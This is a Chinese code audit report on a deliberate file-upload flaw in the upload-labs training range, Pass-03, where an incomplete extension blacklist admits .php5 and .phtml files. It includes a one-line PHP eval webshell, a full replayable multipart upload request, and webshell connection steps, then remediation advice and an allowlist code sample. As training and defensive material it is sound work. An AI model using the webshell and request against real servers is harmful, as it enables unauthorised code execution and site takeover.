upload-labs 文件上传漏洞靶场代码审计报告
一、靶场信息
| 项目 | 内容 |
|---|---|
| 靶场名称 | upload-labs |
| 关卡编号 | Pass-03 |
| 漏洞类型 | 黑名单不完善导致特殊可解析后缀绕过 |
| 审计日期 | 2026-08-09 |
| 目标文件 | Pass-03/index.php |
二、漏洞概述
Pass-03 采用黑名单机制禁止上传 .asp、.aspx、.php、.jsp 后缀,但黑名单范围过小,未覆盖 PHP 的其他可解析后缀(如 .php3、.php4、.php5、.phtml、.pht 等,具体取决于 Web 服务器配置)。攻击者可以上传这些未被禁止的可执行后缀文件,从而绕过限制执行 PHP 代码。
- 危险等级:高危
- 影响范围:可上传 PHP 其他可解析后缀的脚本
三、问题代码位置
文件路径:Pass-03/index.php
问题代码片段(第 9-23 行):
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
四、漏洞分析
4.1 为什么存在这个问题
黑名单机制天然存在被绕过的风险。PHP 在 Apache 等中间件中可被配置为解析多种后缀(.php、.php3、.php4、.php5、.phtml、.pht 等),只要黑名单未完整覆盖所有可解析后缀,攻击者就能找到缺口。
4.2 校验逻辑缺陷
- 黑名单只包含 4 个后缀,覆盖面严重不足。
- 未使用白名单机制,仅依赖黑名单拒绝。
- 虽然对扩展名做了小写转换、去点、去空、去
::$DATA等处理,但无法弥补黑名单不全的问题。
五、利用思路
在 Apache 已配置解析 .php5、.phtml 等扩展名的前提下,攻击者将 WebShell 文件命名为 shell.php5 或 shell.phtml 上传。由于这些后缀不在黑名单中,服务端校验通过,文件被保存到上传目录,随后可被 Web 服务器解析执行。
注意:成功利用需要目标 Web 服务器(如 Apache
httpd.conf)已将这些后缀映射到 PHP 解析器。在 upload-labs 官方 Windows 集成环境中通常已配置。
六、POC(Yakit 可直接重放)
6.1 前提条件
- 靶场访问地址:
http://target.com/upload-labs/Pass-03/index.php - WebShell 内容示例:
<?php @eval($_POST['cmd']); ?>
6.2 Yakit 重放 HTTP 请求包
以下示例使用 .php5 后缀:
POST /upload-labs/Pass-03/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.php5"
Content-Type: application/octet-stream
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--
如 .php5 未被解析,可尝试 .phtml、.pht、.php3、.php4:
Content-Disposition: form-data; name="upload_file"; filename="shell.phtml"
6.3 利用步骤
- 在 Yakit 中新建 HTTP 请求并粘贴上述 POC。
- 修改
Host为实际靶场域名或 IP。 - 发送请求,上传成功后返回页面会显示文件路径(由时间戳和随机数组成)。
- 访问返回的文件路径,例如
http://target.com/upload-labs/upload/202608091234567890.php5。 - 使用蚁剑/冰蝎/Yakit 连接,密码
cmd。
七、修复建议
- 使用白名单机制:仅允许明确安全的后缀(如
jpg、png、gif)。 - 完整黑名单难以维护:不推荐使用黑名单作为唯一防御手段。
- 重命名上传文件:使用随机文件名,防止原始文件名被利用。
- 上传目录禁止脚本执行:在 Web 服务器配置中禁用上传目录的脚本解析权限。
- 限制文件内容:对图片类文件进行二次渲染或真实类型检测。
安全代码示例
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
die('只允许上传图片文件');
}
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $new_name);
八、参考链接
- upload-labs 项目地址:https://github.com/c0ny1/upload-labs
- OWASP 文件上传漏洞说明:https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload